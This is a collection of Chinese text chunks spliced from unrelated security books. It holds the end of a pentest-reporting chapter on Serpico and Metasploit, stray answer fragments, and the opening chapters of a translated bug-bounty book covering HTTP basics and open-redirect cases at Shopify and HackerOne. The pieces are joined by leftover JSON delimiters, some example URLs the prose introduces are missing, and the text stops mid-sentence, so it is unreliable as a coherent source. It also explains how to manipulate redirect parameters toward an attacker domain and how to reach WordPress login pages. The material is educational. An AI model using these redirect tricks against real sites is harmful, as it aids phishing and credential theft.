当我们不断向报告中添加发现的缺陷时，将看到结构正在逐渐成形，并且图表现在变得更加有意义。我们甚至可以直接从Metasploit数据库添加附件和管理主机。 稍后，可以使用Export report功能将其导出为单个报告。Serpico还支持各种插件，可用于从不同的工具（如Burp Suite和Nessus）导入数据。 图 15-25 图 15-26 未知 15.4.3 将数据从Metasploit导入Serpico 让我们看看如何将Serpico连接到Metasploit以导入数据。首先，编辑要连接到Metasploit的报告。我们将被重定向到新页面。从左侧菜单中选择Additional Features，将打开图15-27所示页面。 图 15-27 现在，我们启动Metasploit RPC服务，如图15-28所示。 图 15-28 完成此操作后，我们需要在浏览器中切换回Serpico并单击Configure Metasploit RPC connection，进入图15-29所示页面。 填写连接详细信息并保存这些设置会将Serpico连接到Metasploit。这样，所有发现的缺陷将添加到报告中。 图 15-29 未知 15.4.4 将第三方报告导入Serpico 与Dradis相似，我们还可以将其他工具的结果导入Serpico的报告中。下面快速学习一下如何从Nessus以及Burp Suite导入结果。 在Additional Features页面中编辑报告时，我们可以选择Auto Add Findings from a Nessus XML选项，如图15-30所示。 进入一个新页面，在此页面可以上传Nessus的XML文件，如图15-31所示。 当选择Auto Add Findings from Burp scanner report选项时，可以选择上传Burp扫描器的报告，如图15-32所示。 然后，Burp Suite报告将被解析为Serpico格式，并且该报告的结果将显示在Serpico的主面板上，如图15-33所示。 现在我们已经知道了如何将扫描报告从第三方工具导入Serpico，接下来我们学习如何管理用户。 未知 15.4.5 Serpico中的用户管理 用户管理对于组织来说是必要的，尤其是当渗透测试团队很大的时候。Serpico允许我们管理用户，如图15-34所示。 图 15-30 图 15-31 Serpico支持两种类型的用户授权：本地授权和基于Active Directory（AD）的授权。添加用户后，可以通过单击左侧菜单中的List Users链接来查看当前用户列表，如图15-35所示。 图 15-32 图 15-33 除了用户管理，Serpico还允许我们管理报告模板。 未知 15.4.6 Serpico中的模板管理 Serpico允许我们使用从Microsoft Word派生的元语言创建自定义报告模板。可以从Add Report Template页面定义和上传自定义报告模板，如图15-36所示。 图 15-34 图 15-35 互联网上还有许多预先构建的模板，这些模板是由其他用户创建和共享的。 图 15-36 未知 15.4.7 生成多种格式的报告 我们可以使用Serpico生成不同格式的报告： ·纯文字格式。 ·CSV格式。 ·ASCII Doc格式。 ·演示格式（包括PDF）。 ·HTML格式。 我们对Dradis框架和Serpico的简介到此结束。有关Serpico的更多信息，请参见https://github.com/SerpicoProject/SerpicoPlugins/wiki/Main-Page。 未知 15.5 小结 在本章中，我们介绍了报告编写及其两种类型，还介绍了两个工具——Dradis和Serpico。现在你已经熟悉了它们的框架，可以使用它们来生成和组织报告了。 我们希望你喜欢这本书，也欢迎你对本书提出任何反馈，因为它有助于我们改进和创作更好的内容。如果有任何疑问，请随时联系我们，不要忘了向你的朋友推荐这本书！ 未知 15.6 问题 1.Serpico支持的元语言是什么？ 2.渗透测试报告中应包括哪些必要的项目？ 3.还有哪些工具可以用于自动编写报告？ 4.Microsoft Windows是否支持Dradis和Serpico？ 未知 15.7 拓展阅读 以下链接提供有关Dradis和Serpico的更多信息： ·https://dradisframework.com/ce/ ·https://github.com/SerpicoProject/Serpico ·https://github.com/SerpicoProject/Serpico/wiki/Serpico-Meta-Language-In-Depth ·https://github.com/SerpicoProject/SerpicoPlugins/wiki/Main-Page"},
    {"text": "4.Metasploit Framework数据库可以直接通过端口5432连接。 如果希望通过安全通道与数据库通信，则可以使用PostgreSQL Web Service（通过HTTP/HTTPS运行）将Metasploit Framework连接到数据库。"},
    {"text": "2.Metasploit提供了修改或添加自己的模块的能力，这些模块可以基于不同的模块运行。 3.你可以灵活地对自定义模块进行编码，也可以对自己的Metasploit插件进行编码，该插件可用于在单个命令中自动执行整个枚举过程。"},
    {"text": "2.如果无法访问wp-admin目录，则可以随时尝试使用wplogin.php文件。 具有正常权限设置的用户可以访问该文件以及wp-admin目录。 如果仍然无法访问它，请尝试将wp-login.php?action=register添加到URI。"},
    {"text": "你可以在https://www.redhat.com/en/store/red-hat-jboss-enterpri-se-application-platform?extIdCarryOver=truesc_cid=701f2000001Css5AAC上查看许可信息。"},
    {"text": "4.可以发现技术漏洞（例如远程代码执行（RCE）、SQL注入（SQLi）和跨站点脚本（XSS））和逻辑漏洞（例如账户接管、参数操作、响应操作和身份认证令牌绕过）。"},
    {"text": "未知 随时、随地、随心阅读 当当云阅读 未知 版权信息 COPYRIGHT INFORMATION 书名：Web漏洞搜索 作者：(美)彼得·亚沃斯基(Peter Yaworski) 出版社：机械工业出版社 出版时间：2021-09-01 ISBN：9787111691358 本书由北京华章图文信息有限公司授权北京当当科文电子商务有限公司制作与发行。 — · 版权所有 侵权必究 · — 未知 译者序 漏洞是存在于计算机网络系统或平台中的可能对系统的组成、数据和运行等造成损害的一切因素和缺陷。漏洞虽小，但如果不及时处理，极易造成计算机网络系统的瘫痪，对网络商业平台造成不可估量的损失。每年都有诸多互联网公司在行业平台上发布赏金漏洞，寻求“道德黑客”（Moral Hacker）的技术支持，以解决开发人员可能忽视的安全问题。 市面上有很多介绍道德黑客和网络系统漏洞的书籍，也不乏优秀的网络安全读物，既有讲解渗透理论的诸多示例，也有对黑客行为习惯和技巧的分析，帮助读者提前发掘系统或者网络中的漏洞，防止潜在攻击。而本书则从道德黑客的角度出发，结合赏金漏洞实例，向读者介绍应如何处理应用程序中的这些漏洞，如何寻找赏金漏洞和提交方案报告。本书不仅是漏洞解决技术的指导手册，也是向读者展示道德黑客的世界的最佳入门读物。 随着互联网渗入日常生活的每一个角落，尤其是5G时代的到来和物联网的飞速发展，来自网络的安全威胁也日趋严峻。手机、计算机和工业互联网的商业平台发展愈发迅速，对开发和运维人员处理系统和网络层面故障的要求也愈发严格。重要系统或网络中的单个漏洞可能会破坏一个机构的安全态势，导致商业平台收集的敏感个人信息和隐私泄露，造成数字财产损失，严重损害开发者及用户的利益。让读者通过学习本书来掌握不同情况下解决技术漏洞的方法，提升漏洞修复和开发初期防护的技巧，加深对道德黑客世界的理解，这正是我们在工作之余翻译此书的动力和初衷。身处网络安全企业，除了为国家和社会提供网络安全服务之外，我们也希望通过翻译此书向更多有兴趣学习漏洞处理技术的读者提供帮助。 为了保证译稿的质量，我们基于与北京警察学院共同成立的“全国重点网站安全检测联合实验室”开展翻译工作。在此感谢北京警察学院网络安全保卫系唐卫中老师，恒安信雅书社张振涛博士、李鹏超博士、刘新鹏、庄越淋、陈红选、王占鹏、万青、张晨辰等对翻译本书提供技术支持。感谢句雅楠、张丽源对于本书中晦涩的技术细节提供精准的翻译建议。感谢刘晓蔚女士在翻译过程中提供的专业指导。 虽然参与本书翻译工作的成员都具有较丰富的网络安全技术经验和实战积累，但是鉴于写作功底有限，译文中难免会存在一些不尽如人意的地方，希望各位读者能提供宝贵的修改意见和建议。 未知 序言 实践出真知。我们就是这样学习各种技术的。 我们都很年轻，就像所有在我们之前和之后出现的黑客一样。我们被一种无法控制的、强烈的好奇心所驱使，想要了解事物是如何运作的。大部分时间都在玩电脑游戏的我们，12岁的时候开始学习制作自己的软件。我们从图书馆的书籍和自己的实践中学会了如何用Visual Basic和PHP编程。 从我们对软件开发的理解来看，我们很快发现使用这些技能可以发现其他开发人员的错误。好奇心让我们从构建转向了破坏——为了庆祝高中毕业，我们接管了一家电视台的广播频道，播放了一则祝贺我们毕业的广告。虽然当时觉得这很有趣，但我们很快就明白了这样做的后果——电视台和学校都很不悦，作为惩罚，我们整个夏天都在清洗窗户。在大学里，我们利用自己的技能成立了一家咨询公司。巅峰时期，在全世界的公共和私人领域都有我们的客户。这促使我们在2012年创立了HackerOne公司。我们想让世界上的每一家公司都能成功地与道德黑客合作，时至今日，这依然是HackerOne的使命。 如果你正在阅读这篇文章，那么你很可能也想成为一名道德黑客或漏洞猎人。我们相信这本书将是你人生旅途中的一个极好的向导。书中充满了丰富的、现实世界中能真正赢得漏洞赏金的安全漏洞能力报告范例，还附有由本书作者彼得·亚沃斯基及其同事所提供的非常有价值的分析及审查报告。他将以伙伴的角色陪伴你学习，这是无价的。 这本书如此重要的另一个原因，是它关注如何让你成为一名道德黑客。黑客技术是一项非常强大的技能，我们希望它能被用于积极的方面。道德黑客知道如何在正确和错误之间划清界限。有些黑客会进行破坏，甚至试图以此来快速赚钱。但想象一下，你可以使互联网更安全，有机会与世界各地的优秀公司合作，甚至还能在这个过程中获得报酬，你的才能将有能力保证数十亿人及其数据的安全——我们希望这是你们的初心所在。 感谢彼得花时间如此翔实地记录了这些。我们希望在事业开始的时候，就拥有这样的资源。彼得的书能给你带来欢乐，同时带给你了解黑客技术的必要信息。 阅读快乐！ 记住要用技术来主持正义。 Michiel Prins，Jobert Abma HackerOne联合创始人"},
    {"text": "我最终登录了HackerOne，这是一个漏洞奖励平台，旨在将道德黑客与寻找黑客来测试其应用程序的公司联系起来。 HackerOne的功能允许道德黑客和公司披露已经发现和修复的漏洞。"},
    {"text": "本书的读者对象 这本书是为学习漏洞挖掘技术的初学者写的，不管你是网页开发人员、网页设计师、全职妈妈、10岁的孩子还是75岁的退休人员，都可以阅读本书。"},
    {"text": "例如，你不必是一个Web开发人员或黑客，但如果你对基本超文本标记语言（HTML）如何架构网页，层叠样式表（CSS）如何定义网页外观，以及网站的JavaScript动态有所了解的话，将有助于你发现漏洞和识别其带来的影响。"},
    {"text": "了解如何编程对于查找涉及应用程序逻辑的漏洞和思考开发人员可能会犯什么样的错误很有帮助。 如果你能站在程序员的角度猜猜他们是如何实现一些程序的，或读懂他们的代码，那么你成功发现漏洞的概率将会更高。"},
    {"text": "如何阅读本书 每个描述漏洞类型的章节都有以下结构： 1）漏洞类型的描述 2）漏洞类型的示例 3）提供结论的总结 每个漏洞示例都包括以下内容： ●我对发现和证明漏洞的难度的估计 ●与发现漏洞的位置相关联的URL ●原始披露报告或报告的链接 ●报告漏洞的日期 ●漏洞上报者通过上报信息所得到的奖金 ●关于漏洞的清晰描述 ●可以应用到你自己的漏洞挖掘中的提示 你不必把这本书从头到尾读完。"},
    {"text": "第1章：解释了什么是漏洞和漏洞奖励，以及客户端和服务器之间的区别，还介绍了互联网是如何工作的，包括HTTP请求、响应和方法，以及HTTP无状态的含义。"},
    {"text": "第3章：涵盖了攻击者如何操纵HTTP请求，注入额外的参数，使目标网站产生信任，以及导致意外行为。 第4章：涵盖了攻击者如何利用恶意网站使目标浏览器向另一个网站发送HTTP请求，然后，另一个网站就装作这个请求是合法的，并且是由目标用户故意发送的。"},
    {"text": "第7章：解释了攻击者如何利用没有对用户输入进行消毒的站点来执行他们自己的JavaScript代码。 第8章：解释了当站点没有清理模板中使用的用户输入时，攻击者是如何利用template引擎的。"},
    {"text": "第11章：展示了攻击者如何利用应用程序解析XML输入和处理输入中包含的外部实体。 第12章：涵盖攻击者如何利用服务器或应用程序来运行自己的代码。 第13章：解释了攻击者如何利用应用程序的内存管理来引发意外行为，包括执行攻击者自己注入的命令。"},
    {"text": "未知 致谢 如果没有HackerOne公司，这本书是不可能出版的。 感谢HackerOne的CEO Mårten Mickos。Mårten在我开始撰写这本书的时候就联系我，并不断地提供反馈和想法，使这本书变得更好，甚至提供了专门为本书设计的封面。 还要感谢HackerOne的联合创始人Michiel Prins和Jobert Abma，在我撰写这本书的早期版本时，他们为我提供了建议和一些章节的内容。Jobert对本书进行了细致的技术审校，逐章节提供反馈和技术见解。他增强了我的信心，并教了我很多远远超出我想象的东西。 此外，Adam Bacchus在加入HackerOne 5天后阅读了本书，提供了内容编辑意见，并解释了在漏洞报告接收端的感觉，这帮我拓展了第19章的内容。HackerOne从未要求任何回报，它只是想让这本书更好。 还要感谢Ben Sadeghipour、Patrik Fehrenbach、Frans Rosen、Philippe Harewood、Jason Haddix、Arne Swinnen、FileDescriptor，以及许多在我的黑客生涯早期与我一起坐下来讨论问题、分享知识并鼓励我的人。此外，如果没有道德黑客分享他们的知识技能和已修复的漏洞，特别是那些我在这本书中提到的漏洞，这本书是不可能出版的。 最后，如果没有我的妻子和两个女儿的爱与支持，便不会有今天的我。正是因为她们，我才得以成功地进行漏洞挖掘并完成这本书的写作。当然还要感谢我的其他家人，尤其是我的父母，在我成长的过程中，他们没有为我购买任天堂游戏机，而是买了电脑，并告诉我“电脑就是未来”。 未知 作者简介 Peter Yaworski是一名自学成才的道德黑客，也是一名成功的漏洞赏金猎人，为Salesforce、Twitter、Airbnb、Verizon Media和美国国防部等机构提供过帮助。目前，他就职于Shopify，是一名应用程序安全工程师，致力于让商业行为更安全。 未知 译者简介 恒安信雅书社（FEE Club） 成立于2020年6月，定名取“通信安全恒治久安”与“撰经著书力求信、达、雅”之意。书社成员均毕业于国内知名理工科院校并就职于恒安嘉新（北京）科技股份公司，长期活跃在互联网网络安全行业一线，对行业有深刻理解，是具有重大安全事件处理实战经验的业内专家，拥有深厚的专业背景和扎实的学术翻译功底。部分核心成员拥有多项专利并参与诸多网络安全标准编写工作，获聘政府专家组成员。组内核心成员曾参与翻译《bash网络安全运维》，获得业内高度认可。 未知 技术审校者简介 Tsang Chi Hong（网名FileDescriptor）是一名渗透测试人员，也是一名漏洞赏金猎人，长居中国香港。曾在 https://blog.innerht.ml 撰写关于Web安全的文章，喜欢原创音乐。 未知 第1章 漏洞悬赏入门 如果你是刚刚入门的黑客新手，这本书将有助于你对“互联网是如何工作的”有一个初步的了解，并帮助你了解当你在浏览器的地址栏中输入一个URL后发生了什么。虽然导航到网站看似简单，但是其中涉及了许多隐藏的过程，例如准备HTTP请求、确定要发送请求的域名、将域名转换为IP地址、发送请求、做出响应等。 在这一章，你将学习一些基本概念和术语，例如漏洞、漏洞悬赏、客户端、服务器端、IP地址和HTTP。你将对执行意外操作和提供意外输入或访问私有信息如何导致漏洞有一个初步的了解。之后，我们将看到当在浏览器的地址栏中输入一个URL的时候发生了什么，包括HTTP请求、HTTP响应以及各种各样的HTTP动作。在本章的结尾，我们将理解“HTTP是无状态的”代表着什么。 未知 1.1 漏洞和漏洞悬赏 漏洞是应用程序中的一个弱点，它允许恶意用户执行某些未经许可的操作或获取访问信息的权限，若不存在漏洞，他们将被禁止访问这些信息。 在学习和测试应用程序时，请记住：攻击者执行有意或无意的操作都可能会导致漏洞，例如更改记录标识符的ID以访问不应该访问的信息。 假设一个网站允许创建一份个人资料，其中包括姓名、电子邮件、生日和地址，你的私人信息只会分享给你的朋友。但如果网站允许任何人加你为好友并且不需要你的同意，这将是一个漏洞。尽管网站将你的信息对非好友保密，但允许任何人加你为好友，就意味着他们将都可以访问你的信息。当你测试一个站点时，一定要考虑别人是如何滥用现有功能的。 漏洞悬赏是某个网站或公司给予发现漏洞并将其报告给该网站或公司的人的一种奖励。奖励通常是钱，从几十美元到数万美元不等。除了钱之外，奖励也可能是加密货币、航空里程、奖励积分、服务积分等。 当一家公司提供漏洞悬赏时，为了那些想测试公司漏洞的人，公司会创建一个项目，在本书中，我们将使用“项目”这一词表示公司制定的规则和框架。请注意，这与操作漏洞披露程序（VDP）的公司不同。漏洞悬赏会提供一些奖金，而VDP是不提供报酬的（尽管个别公司可能会给奖励），因为VDP只是白帽黑客向公司报告漏洞以供公司修复的一种方法。虽然本书中并不是所有的报告都得到了回报，但它们都是黑客参与漏洞悬赏计划的例子。"},
    {"text": "未知 1.2 客户端和服务器端 你的浏览器依赖于互联网。互联网是计算机之间互相发送信息的网络，我们称这些信息为数据包。数据包包括你要发送的数据以及这些数据的来源和去向。互联网上的计算机都有一个用来接收数据的地址。但是，有一部分计算机只接收某些类型的数据包，还有一部分计算机只接收来自受限列表中计算机的数据包，然后由接收端的计算机决定如何处理这些数据包以及如何做出响应。在本书中，我们将只关注数据包中包含的数据（即HTTP消息），而不是数据包本身。 我们将这些计算机称为客户端或服务器端。无论请求是否由浏览器、命令行或其他方式执行，我们通常都把发起请求的计算机称为客户端。而服务器端是指接收请求的网站和Web应用程序。如果本书中提到客户端或服务器端，那么一般指的是计算机。 因为因特网中有不计其数的计算机在相互通信，所以计算机需要被告知如何通过因特网进行通信，这通过征求意见（RFC）文档的形式传达。该文档定义了“计算机应该如何工作”的标准。例如，超文本传输协议（HTTP）定义了网络浏览器如何使用IP协议与远程服务器进行通信。在这个场景中，客户端和服务器端都必须同意使用相同的标准，以便它们能够理解各自发送和接收的数据包。"},
    {"text": "未知 1.3 当你访问一个网址时发生了什么 因为我们将在本书中重点介绍HTTP消息，所以本节将从较高的层次概述在浏览器的地址栏中输入URL后经历的过程。"},
    {"text": "IP地址存在两种类型：Internet协议版本4（IPv4）和Internet协议版本6（IPv6）。 IPv4地址是由以点连接的四个数字组成的，每个数字在0到255之间。 IPv6是Internet协议的最新版本，它是为了解决“可用IPv4地址耗尽”的问题而设计的。 IPv6地址由八组四位十六进制数字组成，用冒号隔开，而且也有缩写的方法。 例如，8.8.8.8是IPv4地址，2001:4860:4860::8888是IPv6地址的缩写。"},
    {"text": "前面IPv4和IPv6地址用到的是Google DNS服务器。 在这个例子中，连接到的DNS服务器将匹配到 www.google.com 的IPv4地址216.58.201.228并发送回你的计算机。"},
    {"text": "第四步：发送一个HTTP请求 继续把 http://www.google.com/ 作为例子，如果在第三步连接成功，你的浏览器应该准备并发送一个HTTP请求，如列表1-1所示。"},
    {"text": "JavaScript允许网页具有动态功能，包括在不重新加载网页的情况下更新网页内容，（在某些网站上）检查密码是否足够强，等等。 与其他编程语言一样，JavaScript具有内置函数，可以将值存储在变量中，并运行代码以响应Web页面上的事件。"},
    {"text": "这些API使JavaScript能够与其他系统交互，其中最重要的可能是文档对象模型（Document Object Model，DOM）。 DOM允许JavaScript访问和操作网页的HTML和CSS。 这一点很重要，因为如果攻击者可以在站点上执行自己的JavaScript，那么他们就可以访问DOM，并可以以目标用户的名义在站点上执行操作。"},
    {"text": "未知 1.4 HTTP请求 客户端和服务器端之间关于“如何处理HTTP消息”的协议包括定义请求方法。请求方法指示了客户端请求的目的及客户端期望的成功结果。例如，在列表1-1中，我们向 http://www.google.com/ 发送GET请求，暗示我们只期待返回 http://www.google.com/ 网页的内容，无须执行其他操作。开发和实现请求方法是为了区分被调用的操作，因为互联网被设计成远程计算机之间的接口。 HTTP标准定义了以下请求方法：GET、HEAD、POST、PUT、DELETE、TRACE、CONNECT和OPTIONS（PATCH在HTTP RFC中也有提到，但并不常用）。在撰写本书时，浏览器只会使用HTML发送GET和POST请求。任何PUT、PATCH或DELETE请求都是JavaScript调用HTTP请求的结果。在本书后面，当考虑应用程序中的漏洞示例时，应想到这些方法。 下面将简要介绍请求方法。 1.请求方法 GET方法通过请求统一资源标识符（URI）标识信息。URI通常与统一资源定位器（URL）一起使用。严格地说，URL是一种定义资源的URI类型，它包括通过网络位置来定位该资源的方法。例如，http://www.google.com/<example>/file.txt和/<example>/file.txt都是有效的URI，但是只有http://www.google.com/<example>/file.txt是有效的URL，因为它标识了如何通过域名 http://www.google.com 定位资源。尽管有细微差别，但整本书中在引用任何资源标识符时都使用URL。 虽然无法强制执行此要求，但GET请求不会更改数据，而只从服务器端检索数据并在HTTP消息体中返回内容。例如，在一个社交媒体网站上，GET请求只会返回你的配置文件名，却不会更新你的配置文件。这种行为对于第4章中讨论的跨站点请求伪造（CSRF）漏洞至关重要。访问任何URL或网站链接（除非由JavaScript调用），浏览器都会向目标服务器发送GET请求。这种特性对于第2章中讨论的开放重定向漏洞至关重要。 HEAD方法与GET方法相同，只是服务器不能在响应中返回消息体。 POST方法由服务器决定调用接收服务器上的某些函数。换句话说，其通常会执行某种类型的后端操作，例如创建评论、注册用户、删除账户等。服务器响应POST所执行的操作可能会有所不同。服务器有时可能根本不会返回响应。例如，POST请求可能会导致处理请求时发生错误，并且不会在服务器上保存记录。 PUT方法调用一些引用远程网站或应用程序上已存在的记录的函数。例如，在更新已存在的账户、博客文章或其他内容时可能会使用它。同样，执行的操作可能会有所不同，并可能导致服务器根本不执行任何操作。 DELETE方法请求远程服务器删除用URI标识的远程资源。 TRACE方法是另一种不常见的方法，用于将请求消息返回给请求者。它允许请求者查看服务器接收到的内容，并使用这些信息来测试和收集诊断信息。 被保留的CONNECT方法用于代理服务器。代理服务器可将请求转发到其他服务器。此方法可以启动与所请求资源的双向通信。例如，CONNECT方法可以通过代理访问HTTPS的网站。 OPTIONS方法从服务器请求有关可用通信选项的信息。例如，通过调用OPTIONS可以确定服务器是否接受GET、POST、PUT、DELETE和OPTIONS调用。此方法不会指示服务器是否接受HEAD或TRACE调用。浏览器会自动为特定的内容类型（如application/json）发送这种类型的请求。这种方法称为“飞行前的OPTIONS调用”（preflight OPTIONS call），我们将在第4章中更深入地讨论这种方法，因为它起到了CSRF漏洞保护的作用。 2.HTTP是无状态的 HTTP请求是无状态的，这意味着发送到服务器的每个请求都被视为一个全新的请求。服务器在接收请求时并不知道它以前与浏览器的通信。这对大多数网站来说都是一个问题，因为网站要记住你是谁。否则，每次发送HTTP请求时你都必须重新输入用户名和密码。这也意味着处理HTTP请求所需的所有数据都必须与客户端发送到服务器的每个请求一起重新加载。 为了解释这个令人困惑的内容，思考一下这样一个例子：如果你我之间有一个无状态的对话，在讲每一句话之前，我必须从“我是彼得·亚沃斯基，刚才讨论的是黑客攻击”开始。然后你必须重新载入我们讨论的关于黑客攻击的所有信息。想想在电影《初恋50次》中Henry Roth每天早上都为Lucy Whitmore做些什么（如果你没看过这部电影，你应该去看一看）。 为了避免每次发送HTTP请求时都必须重新发送用户名和密码，网站使用了cookie或基本身份验证，我们将在第4章详细讨论。 注意： 使用base64对内容进行编码的细节超出了本书的范围，但在渗透时，你可能会遇到base64编码的内容。如果是这样，你应该解码该内容。搜索“base64解码”，你会找到大量的工具和方法来实现这一点。 未知 1.5 总结 现在你应该对因特网的工作原理有基本的了解了。具体来说，你了解了在浏览器的地址栏中输入网址时会发生什么：浏览器如何将其转换为域名，如何将域名映射到IP地址，以及如何将HTTP请求发送到服务器。 你还了解了浏览器如何构造请求和呈现响应，以及HTTP请求方法如何允许客户端与服务器通信。此外，你还了解到漏洞是由某些人执行意外操作或获得访问其他不可用信息的方式造成的，而漏洞奖金是出于道德考虑发现并向网站所有者报告漏洞的奖励。"},
    {"text": "未知 第2章 开放式重定向 本章我们来探讨开放式重定向（open redirect）漏洞，这种漏洞发生在当目标对象访问一个Web网站时，Web网站返回给浏览器一个不同域（domain）下的新的URL。开放式重定向利用对一个给定域的信任诱使目标对象访问一个恶意Web网站。 网络钓鱼攻击也可以采用重定向以诱使用户相信他们正在向可信网站提交信息，而实际上，他们正在将信息发送到恶意网站。辅助其他攻击手段，开放式重定向也可以使黑客从他们的恶意网站上传播恶意软件或者窃取用户身份认证的令牌（我们将在第17章专门讨论这个主题）。 由于开放式重定向仅仅重定向用户，因此有时认为它们的影响很小，挖掘这类漏洞不值得被奖赏。例如，Google漏洞奖励项目就认为开放式重定向风险很小，不值得奖励。开放式Web应用安全项目（OWASP）是聚焦于应用安全并针对Web应用发布最重要安全漏洞列表的社区组织，也在2017年发布的列表中将开放式重定向漏洞移出了前10名。 尽管开放式重定向漏洞是低影响的漏洞，但它们对于学习浏览器如何处理重定向很有帮助。在本章中，你将通过三个漏洞报告的例子学习如何利用公开式重定向以及如何识别其中的关键参数。 未知 2.1 开放式重定向如何工作 开放式重定向一般发生在开发者误信了攻击者控制的输入而将网站重定向到另一个站点，这通常是通过URL参数、HTML<meta>刷新标签、DOM（Document Object Model，文档对象模型）中window对象的location属性等实现的。 很多Web网站都是通过在原始URL的参数中设置目标URL来有意实现用户访问的重定向的。应用程序通过使用这个参数来告诉浏览器向目标URL发送一个GET请求，例如，假定Google网站具有重定向到Gmail的功能，就可以通过访问如下URL实现： 在这种情况下，当我们访问上面的URL时，Google网站会接收到一个HTTP的GET请求，然后依据redirect_to参数中指定的值来确定将你的浏览器重定向到哪里。在这之后，Google网站服务器会返回一个用于指示浏览器重定向用户的HTTP响应状态码。通常，这个状态码是302，但有时也可能是301、303、307或308。这些HTTP响应状态码告诉浏览器请求的网页找到了，但是需要浏览器发起一个GET请求到redirect_to参数值，https://www.gmail.com/这个参数值也在HTTP响应Location头中。Location头表示了向哪里重定向GET请求。 现在，假设攻击者修改了原始的URL，如下所示： 如果Google没有验证redirect_to参数是否为其将访问者重定向到一个自有合法站点，攻击者就可以将该参数的值换成它们自己的URL。结果是，HTTP响应可能会引导浏览器向https://www.<attacker>.com/发起GET请求。一旦攻击者已经引导用户到他们的恶意网站，就可以发起进一步的攻击。 当检查这类漏洞时，要重点关注具有特定名称的URL参数，例如url=、redirect=、next=等，因为这些都有可能会表示引导用户重定向去的URL。另一个需要注意的是，重定向参数不总是明显命名的，参数也可能随着网站的不同而不同，即使同一个网站内部不同的链接时也可能不同。在有些情况下，参数可能以单个字母的形式表示，例如r=或u=等。 除了基于参数的攻击之外，HTML<meta>标签和JavaScript都可以重定向浏览器。HTML<meta>标签可以告知浏览器刷新网页，并向标签中的content属性定义的URL发起GET请求。下面是一个例子： content属性定义了浏览器发起HTTP请求的两个步骤。首先，content属性定义了浏览器在向URL发起HTTP请求前需要等待的时间，在本例中，这个时间是0秒。其次，content属性确定了浏览器向其发起GET请求的网站中URL的参数，在本例中，这个参数是 https://www.google.com 。当攻击者具有控制<meta>标签的content属性的能力时，或者通过其他漏洞能够注入他们自己的标签时，就可以利用这种重定向行为。 攻击者还可以通过使用JavaScript修改文档对象模型（DOM）中window对象的location属性来实现重定向用户。DOM是用于HTML和XML文档的API，它允许开发者修改网页的结构、风格和内容。因为location属性表示了请求将被重定向到哪里，浏览器将立刻解释JavaScript脚本并重定向到指定的URL。攻击者可以通过如下形式的JavaScript脚本修改window的location属性： 通常，仅当攻击者能够执行JavaScript语句时才能设置window.location的属性值，而获得JavaScript执行权限一般是通过跨站脚本漏洞或者网站允许用户自定义重定向URL的漏洞来实现，就像在本章介绍的HackerOne中间网页重定向漏洞一样。 当挖掘开放式重定向漏洞时，你通常需要持续监测发向测试网站的包含URL重定向参数的GET请求代理历史。"},
    {"text": "未知 2.2 Shopify主题设置的开放式重定向漏洞 难度： 低 URL： https://apps.shopify.com/services/google/themes/preview/supply--blue?domain_name= 报告位置： https://www.hackerone.com/reports/101962/ 报告日期： 2015年11月25日 支付奖金： 500美元 你将学到的第一个开放式重定向漏洞例子是在Shopify网站上发现的，Shopify是一个允许人们创建商店和售卖货物的电子商务平台。Shopify允许管理者通过修改主题来定制商店的外观。作为其功能的一部分，Shopify通过重定向商店店主到一个URL来实现修改后主题的预览特性。重定向后的URL格式如下： URL结尾处的domain_name参数重定向到用户商店对应的域名，并且增加了/admin到URL的结尾处。Shopify期望domain_name一直是用户商店的域名，并且不验证它是否是Shopify域的一部分。因此，攻击者可以利用该参数重定向目标对象到http://<attacker>.com/admin/，在这里，恶意的攻击者还可以进一步进行其他攻击。 要点 并不是所有的漏洞都很复杂。针对这种开放式重定向漏洞来说，简单修改domain_name参数到一个外部的网站就可以将用户从Shopify重定向出去到外部网站。 未知 2.3 Shopify登录的开放式重定向漏洞 难度： 低 URL： http://mystore.myshopify.com/account/login/ 报告位置： https://www.hackerone.com/reports/103772/ 报告日期： 2015年12月6日 支付奖金： 500美元 开放式重定向漏洞的第二个例子与第一个Shopify的例子类似。所不同的是，在本例中Shopify的参数不是将用户重定向到URL参数指定的域，而是通过在Shopify子域的末尾加上参数值的方式实现开放式重定向。通常情况下，该功能用于将用户重定向到一个指定商店的特定网页。然而，攻击者仍然可以通过增加字符以改变URL的含义来操纵这些URL，从而将浏览器从Shopify的子域重定向到攻击者的网站。 在存在这种漏洞的情况下，当用户登录到Shopify后，Shopify使用checkout_url参数重定向用户。例如，假定用户访问以下URL： 他们将会被重定向到URL http://mystore.myshopify.com.<attacker>.com/，而这显然不是一个Shopify域。 由于URL以.<attacker>.com结尾，并且DNS按照域名标记右侧优先的原则进行查询，重定向将会定向到域<attacker>.com。因此，当http://mystore.myshopify.com.<attacker>.com/被提交到DNS进行查询时，将会匹配上<attacker>.com域，这并不是Shopify所拥有的域，也不是Shopify所期望的myshopify.com域。尽管攻击者不能随意地将目标对象重定向到他们指定的地方，但是能够通过增加一些特殊字符，例如句点（.），到他们能够操作的URL字符串上，来实现将目标对象重定向到另外的域上。 要点 如果你只能够控制网站使用的URL的一部分，那么通过增加特殊的URL字符的方式可以改变URL的整体含义，从而可以实现将用户重定向到另外的域。假如你只能控制参数checkout_url的值，并且你也注意到了该参数是在原网站URL（如 http://mystore.myshopify.com/ ）的后面增加一个URL硬编码组成的，可以试着增加特殊的URL字符，例如句点（.）或者符号@来测试你是否可以控制重定向的位置。"},
    {"text": "未知 2.4 HackerOne中间网页重定向漏洞 难度： 低 URL： 未公布 报告位置： https://www.hackerone.com/reports/111968/ 报告日期： 2016年1月20日 支付奖金： 500美元 有些网站通过实现中间网页（在用户访问期望的内容之前进行显示和提醒）的方式来抵御开放式重定向漏洞。在你重定向用户到一个URL时，可以显示一个中间网页，其中包含说明用户正在离开他们所在的域的提醒信息。因此，如果重定向网页显示的是虚假的登录页面或者试图伪装成受信任的域，用户都会知道他们正在被重定向。这也是HackerOne在它的大多数离开本站的URL链接（例如，指向已提交报告的链接）中所采用的办法。 尽管你可以使用中间网页提醒的方式避免重定向漏洞，但是网站之间交互的复杂性也能导致有些链接缺失保护。HackerOne使用一个客户服务支持票务系统Zendesk来支撑它的 https://support.hackerone.com/ 子域。以前，当你访问具有/zendesk_session的hackerone.com时，浏览器会直接从HackerOne平台重定向到HackerOne的Zendesk平台，而不需要中间网页提醒，因为包含hackerone.com域的URL是可信链接（除非你通过URL/hc/en-us/requests/new.提交请求，否则HackerOne现在会重定向 https://support.hackerone.com 